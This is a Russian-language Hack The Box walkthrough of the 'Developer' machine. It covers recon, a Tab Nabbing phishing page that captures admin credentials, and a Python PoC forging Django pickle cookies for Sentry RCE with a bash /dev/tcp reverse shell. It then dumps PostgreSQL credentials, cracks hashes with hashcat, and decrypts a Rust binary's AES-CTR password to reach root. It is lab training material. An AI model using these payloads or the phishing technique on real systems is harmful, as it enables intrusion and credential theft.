Хакер - HTB Developer. Ломаем сайт на Django и реверсим приложение на Rust

Хакер - HTB Developer. Ломаем сайт на Django и реверсим приложение на Rust

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка. Сканирование портов
  • Точка входа
  • XLS sheet protect unlock
  • Tab Nabbing
  • Точка опоры
  • Sentry RCE
  • Продвижение
  • Локальное повышение привилегий

В этой статье я покажу, как взла­мыва­ют сай­ты на Django. Кро­ме того, мы сни­мем пароль с фай­ла XLS и при­меним фишин­говую ата­ку Tab Nabbing. Для повыше­ния при­виле­гий раз­берем алго­ритм прог­раммы на Rust. Все это — что­бы прой­ти слож­ную машину Developer с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.103 developer.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим два откры­тых пор­та: 22, на котором работа­ет SSH, и 80, отве­чающий за веб.

Справка: брутфорс учеток

Пос­коль­ку вна­чале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но у машин с HTB поч­ти всег­да есть дру­гое про­хож­дение. В жиз­ни таких вари­антов может не быть, к тому же име­ются шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

На­чина­ем, конеч­но же, с веба!

Глав­ная стра­ница сай­та

Нас встре­чает сайт какой‑то CTF-пло­щад­ки. Прос­мотрев его содер­жимое, обна­ружим воз­можность регис­тра­ции и авто­риза­ции, но, что при­меча­тель­но, нет ни одно­го фай­ла на PHP. Воз­можно, это фрей­мворк на Python? Что­бы про­верить догад­ку, прос­каниру­ем скры­тые дирек­тории в кор­невом катало­ге сай­та.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Ко­ман­да получа­ется сле­дующая:

ffuf -u http://developer.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов

В выводе будет очень мно­го катало­гов, которые воз­вра­щают код 301 — редирект. Если перей­ти по любому из них, то нас встре­тит админка фрей­мвор­ка Django.

Па­нель авто­риза­ции Django

Боль­ше ничего не най­дя, регис­три­руем­ся на пер­вом сай­те.

Глав­ная панель поль­зовате­ля

На самом сай­те лежит по два‑три тас­ка из раз­ных катего­рий, но мой инте­рес прив­лекла стра­ница с нас­трой­ками про­филя поль­зовате­ля. Ска­ниру­ем тек­сто­вые поля, но это не дает резуль­тата. Может, поп­робу­ем сдать любой из тас­ков? Это может открыть что‑то новое. Я решил прос­мотреть задание на форен­зику phished_credentials. Как ска­зано в усло­вии задания, где‑то в фай­ле есть пароль.

ТОЧКА ВХОДА

XLS sheet protect unlock

От­кры­ваем файл и видим скры­тый стол­бец E. Раз­дви­нуть стол­бцы не выходит, так как лист докумен­та защищен паролем от изме­нения.

Со­дер­жимое докумен­та phished_credentials.xls

Но такую защиту мож­но лег­ко снять. Откро­ем как архив и най­дем в нем нас­трой­ки для нуж­ного лис­та. Так как тут он толь­ко один, нам нужен файл sheet1.xml.

Со­дер­жимое архи­ва

В этом фай­ле най­дем и уда­лим сле­дующую стро­ку. Это поле sheetProtection.

<sheetProtection algorithmName="SHA-512" hashValue="Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" saltValue="EoiHQklf0FagPs+iW0OzkA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>

По­ле sheetProtection

Пе­ресох­ранив файл и открыв документ, обна­ружи­ваем, что защиты боль­ше нет. Раз­дви­гаем стол­бец E и получа­ем флаг для пло­щад­ки.

Флаг для задания

Ос­талось передать его в фор­му на сай­те.

От­прав­ка фла­га

Пос­ле обновле­ния стра­ницы ее вид нем­ного меня­ется, вмес­то кноп­ки сда­чи отве­та появ­ляет­ся кноп­ка отправ­ки решения.

Стра­ница чел­лен­джа

При­чем не через заг­рузку фай­ла, а ука­зыва­ется URL стра­ницы.

Фор­ма заг­рузки решения

Tab Nabbing

Я открыл локаль­ный веб‑сер­вер Python 3 (коман­да python3 -m http.server 80) и отпра­вил ссыл­ку http://10.10.14.59/writeup.html. В логах веб‑сер­вера видим обра­щение к ука­зан­ной стра­нице. Это мес­то для тес­та!

Ло­ги веб‑сер­вера

Ко все­му про­чему решение отоб­ража­ется на стра­нице про­филя.

Про­филь текуще­го поль­зовате­ля

Вот толь­ко если попытать­ся прос­мотреть его, оно откро­ется в новой вклад­ке. В исходном коде стра­ницы находим атри­бут target="_blank" в теге <a>.

Ис­ходный код стра­ницы

Ког­да аргу­мент href тега <a> с атри­бутом target="_blank" нам под­кон­тро­лен и целевой поль­зователь может перей­ти по ссыл­ке, есть шанс ука­зать там фишин­говый сайт. Как толь­ко поль­зователь наж­мет ссыл­ку, с помощью объ­екта window.opener мы перенап­равля­ем его на наш вре­донос­ный ресурс, который будет содер­жать клон легитим­ной стра­ницы авто­риза­ции. Это дол­жно зас­тавить поль­зовате­ля вбить свои учет­ные дан­ные. Эта тех­ника фишин­га называ­ется Tab Nabbing.

Соз­дадим в катало­ге веб‑сер­вера файл writeup.html со сле­дующим содер­жимым.

<html>

<script>

if (window.opener) window.opener.parent.location.replace('http://10.10.14.59/login.html');

if (window.parent != window) window.parent.location.replace('http://10.10.14.59/login.html');

</script>

</html>

Этот код дол­жен открыть стра­ницу login.html на нашем сер­вере. Теперь кло­ниру­ем стра­ницу авто­риза­ции на сай­те. Для это­го я исполь­зую рас­ширение SingleFile для бра­узе­ра Firefox, поз­воля­ющее сох­ранить всю стра­ницу в еди­ном HTML-фай­ле.

Сох­раним файл как login.html и нем­ного изме­ним его код. Ука­зыва­ем атри­буты action="auth.php" и method="get".

Ис­ходный код фишин­говой стра­ницы

Те­перь сно­ва отпра­вим решение задания и в логах веб‑сер­вера уви­дим его зап­рос, затем перенап­равле­ние на login.html и отправ­ку учет­ных дан­ных на auth.php.

Ло­ги веб‑сер­вера

Эти учет­ные дан­ные поз­воля­ют авто­ризо­вать­ся в админке Django.

Па­нель адми­нис­три­рова­ния Django

ТОЧКА ОПОРЫ

Прой­дем­ся по раз­делам, что­бы извлечь всю полез­ную информа­цию. Тут мы можем получить спи­сок поль­зовате­лей и сай­тов.

Спи­сок поль­зовате­лей
Спи­сок сай­тов

Так как мы получи­ли новое домен­ное имя, сра­зу добавим его в /etc/hosts. Теперь наша запись будет выг­лядеть так:

10.10.11.103 developer.htb developer-sentry.developer.htb

А на самом сай­те Sentry нас встре­тит фор­ма авто­риза­ции.

Фор­ма авто­риза­ции Sentry

У нас есть пароль адми­нис­тра­тора одно­го сер­виса, высока веро­ятность, что этот пароль подой­дет и тут. Воп­рос лишь в име­ни поль­зовате­ля. Логин admin ока­зал­ся невер­ным; если впи­сать пол­ную поч­ту admin@developer.htb или admin@developer.ctf, тоже ничего не получа­ем. Но у адми­нис­тра­тора ука­зано имя James. Про­буем поч­ту james@developer.htb и получа­ем дос­туп к сай­ту.

Глав­ная стра­ница сай­та

Вни­зу видим номер вер­сии Sentry — 8.0.0. Это не самая новая, поэто­му сто­ит поис­кать готовые экс­пло­иты. Так Google при­водит нас на Exploit-DB, а точ­нее — к экс­пло­иту для вер­сии 8.2.0.

По­иск экс­пло­итов

Экс­пло­ит отра­баты­вает, но ничего не дает.

python3 50318.py --url 'http://developer-sentry.developer.htb' -U 'jacob@developer.htb' -P 'SuperSecurePassword@HTB2021' -l 10.10.14.59 -p 4321

За­пуск экс­пло­ита

По­это­му про­буем вруч­ную.

Sentry RCE

Sentry исполь­зует модуль pickle, нуж­ный для сери­али­зации и десери­али­зации дан­ных Python. Это может помочь добить­ся выпол­нения кода, но сна­чала нам нужен сек­ретный ключ Django. Его мож­но получить, соз­дав и уда­лив про­ект: Create Project → Add Project → Save Project → Project Setting → Remove Project.

Create New Project
Configure your application
Project settings
Remove project

И мы получим нуж­ные кон­фигура­ции. Про­лис­таем до пун­кта SENTRY_OPTIONS и сох­раним сек­ретный ключ (параметр system.secret-key).

Па­рамет­ры SENTRY_OPTIONS

Имея сек­ретный ключ, мы можем исполь­зовать сле­дующий PoC для соз­дания и сери­али­зации объ­екта, который выпол­нит нуж­ный нам код. Все, что нуж­но в нем изме­нить, — это зна­чения SECRET_KEY и cookie. В качес­тве наг­рузки исполь­зуем реверс‑шелл /bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1".

#!/usr/bin/python

import django.core.signing, django.contrib.sessions.serializers

from django.http import HttpResponse

import cPickle

import os

SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'

cookie='.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQoZRBnmmGUlBbq7FhVFcAEFSlKLS5Lz87MzU8FayvOLslNTQoXiE0tLMuJLi1OL4pMSk7NT81JClSDG6ZWWZOYU64Hk9VxzEzNzHIEsJ6gaXiR9mSnerKV6AOVwM6Y:1n8lto:4YBeYgMOt1ujubTsANFkmRr3fw4'

newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')

class PickleRce(object):

def __reduce__(self):

return (os.system,('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1"',))

newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Соз­дание новых cookie

Ак­тивиру­ем на сво­ем локаль­ном хос­те лис­тенер.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

sudo apt install rlwrap

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

Ко­ман­да будет сле­дующей:

rlwrap -cAr nc -lvnp 4321

Встав­ляем новые cookie, обновля­ем стра­ницу и в окне лис­тенера получа­ем бэк­коннект.

По­луче­ние бэк­конек­та

ПРОДВИЖЕНИЕ

Пер­вым делом получа­ем удоб­ную TTY-обо­лоч­ку с помощью Python:

python -c 'import pty;pty.spawn("/bin/bash")'

При прод­вижении самый веро­ятный спо­соб сме­нить рабочий кон­текст — это авто­ризо­вать­ся от име­ни дру­гого поль­зовате­ля. Так как у нас даже два сай­та на хос­те, нам сто­ит поис­кать учет­ные дан­ные в их базах. Преж­де чем шер­стить базу, най­дем учет­ные дан­ные для под­клю­чения к этой базе. В слу­чае с пер­вым сай­том это файл /var/www/developer_ctf/developer_ctf/settings.py.

Спи­сок фай­лов сай­та developer_ctf
Со­дер­жимое фай­ла settings.py

Те­перь под­клю­чим­ся к базе c помощью psql — ути­литы коман­дной стро­ки для работы с PostgreSQL.

psql postgresql://ctf_admin:CTFOG2021@localhost:5432/platform

Пос­ле под­клю­чения взгля­нем на спи­сок таб­лиц, для это­го исполь­зует­ся коман­да \dt.

Спи­сок таб­лиц

Нас инте­ресу­ет таб­лица auth_user, из которой получим логины и пароли.

select username,password from auth_user;

Учет­ные дан­ные поль­зовате­лей сай­та Developer CTF

Но с эти­ми учет­ными дан­ными ниг­де залоги­нить­ся не получи­лось. Тог­да изу­чим Sentry. Нас­трой­ки для под­клю­чения к базе дан­ных хра­нят­ся в фай­ле /etc/sentry/sentry.conf.py.

Со­дер­жимое фай­ла sentry.conf.py

Опять под­клю­чаем­ся к базе и прос­матри­ваем сущес­тву­ющие таб­лицы.

psql postgresql://sentry:SentryPassword2021@localhost:5432/sentry

\dt

Спи­сок таб­лиц

Вновь получа­ем учет­ные дан­ные из таб­лицы auth_user.

select username,password from auth_user;

Учет­ные дан­ные плат­формы Sentry

Сох­раня­ем хеши в файл и отправ­ляем на перебор с помощью hashcat.

hashcat -m 10000 hashes.txt rockyou.txt

Ре­зуль­тат перебо­ра хешей

Спус­тя нес­коль­ко минут мы получа­ем один пароль, с которым уда­ется авто­ризо­вать­ся по SSH.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пер­вым делом про­веря­ем наибо­лее веро­ятные мес­та повыше­ния при­виле­гий. Это могут быть нас­трой­ки sudoers, при­ложе­ния с битом SUID, прос­лушива­емые на локаль­ном хос­те пор­ты. Нам везет с sudoers.

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Нас­трой­ки судо­ера

В нас­трой­ках sudoers про­писан при­виле­гиро­ван­ный запуск поль­зователь­ско­го при­ложе­ния /root/.auth/authenticator. Узна­ем тип фай­ла с помощью ути­литы file.

Прос­мотр типа фай­ла

Это исполня­емый файл, который при запус­ке поп­росит пароль. Ска­чива­ем файл на локаль­ный хост:

scp karl@developer.htb:/root/.auth/authenticator ./

За­киды­ваем его для ана­лиза в любой удоб­ный дизас­сем­блер. На этот раз я решил поп­робовать Ghidra.

INFO

Под­робнее о Ghidra:

При поис­ке фун­кции main я понял, что прог­рамма написа­на на язы­ке Rust, а это усложня­ет ана­лиз.

По­иск фун­кции main

От­кры­ваем в деком­пилято­ре най­ден­ную фун­кцию authentication::main и в ней находим точ­ку, где зап­рашива­ется пароль.

Псев­докод зап­роса пароля поль­зовате­ля

Чуть ниже находим исполь­зование шиф­рования (crypto::aes::ctr), а имен­но алго­ритм AES, режим CTR.

Блок шиф­рования стро­ки

И еще ниже видим сооб­щение об успешной аутен­тифика­ции.

Блок кода пос­ле про­вер­ки пароля

Та­ким обра­зом, вве­ден­ная нами стро­ка будет срав­нивать­ся с про­обра­зом сох­ранен­ных в прог­рамме зашиф­рован­ных дан­ных. Поп­робу­ем най­ти все парамет­ры, необ­ходимые для шиф­рования (стро­ка, ключ, век­тор ини­циали­зации), и рас­шифро­вать пароль. Из докумен­тации узна­ем аргу­мен­ты фун­кции crypto::aes::ctr.

Опи­сание фун­кции crypto::aes::ctr

То есть сна­чала переда­ется ключ, а потом век­тор ини­циали­зации. Изме­нив име­на перемен­ных, лег­ко най­дем их в коде.

Блок шиф­рования дан­ных

А нуж­ная нам стро­ка сох­ранена в перемен­ной __ptr. Исполь­зуя все дан­ные и суперинс­тру­мент CyberChef, мы можем рас­шифро­вать дан­ные и пароль.

Рас­шифров­ка дан­ных из прог­раммы

Ис­поль­зуем этот пароль в при­ложе­нии. Про­вер­ка прой­дена, нас про­сят ука­зать ключ SSH (генери­руем коман­дой ssh-keygen).

Экс­плу­ата­ция при­ложе­ния authenticator

Те­перь мы можем авто­ризо­вать­ся с при­ват­ным клю­чом и заб­рать флаг рута.

Флаг рута

Мы зах­ватили машину и име­ем над ней пол­ный кон­троль!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page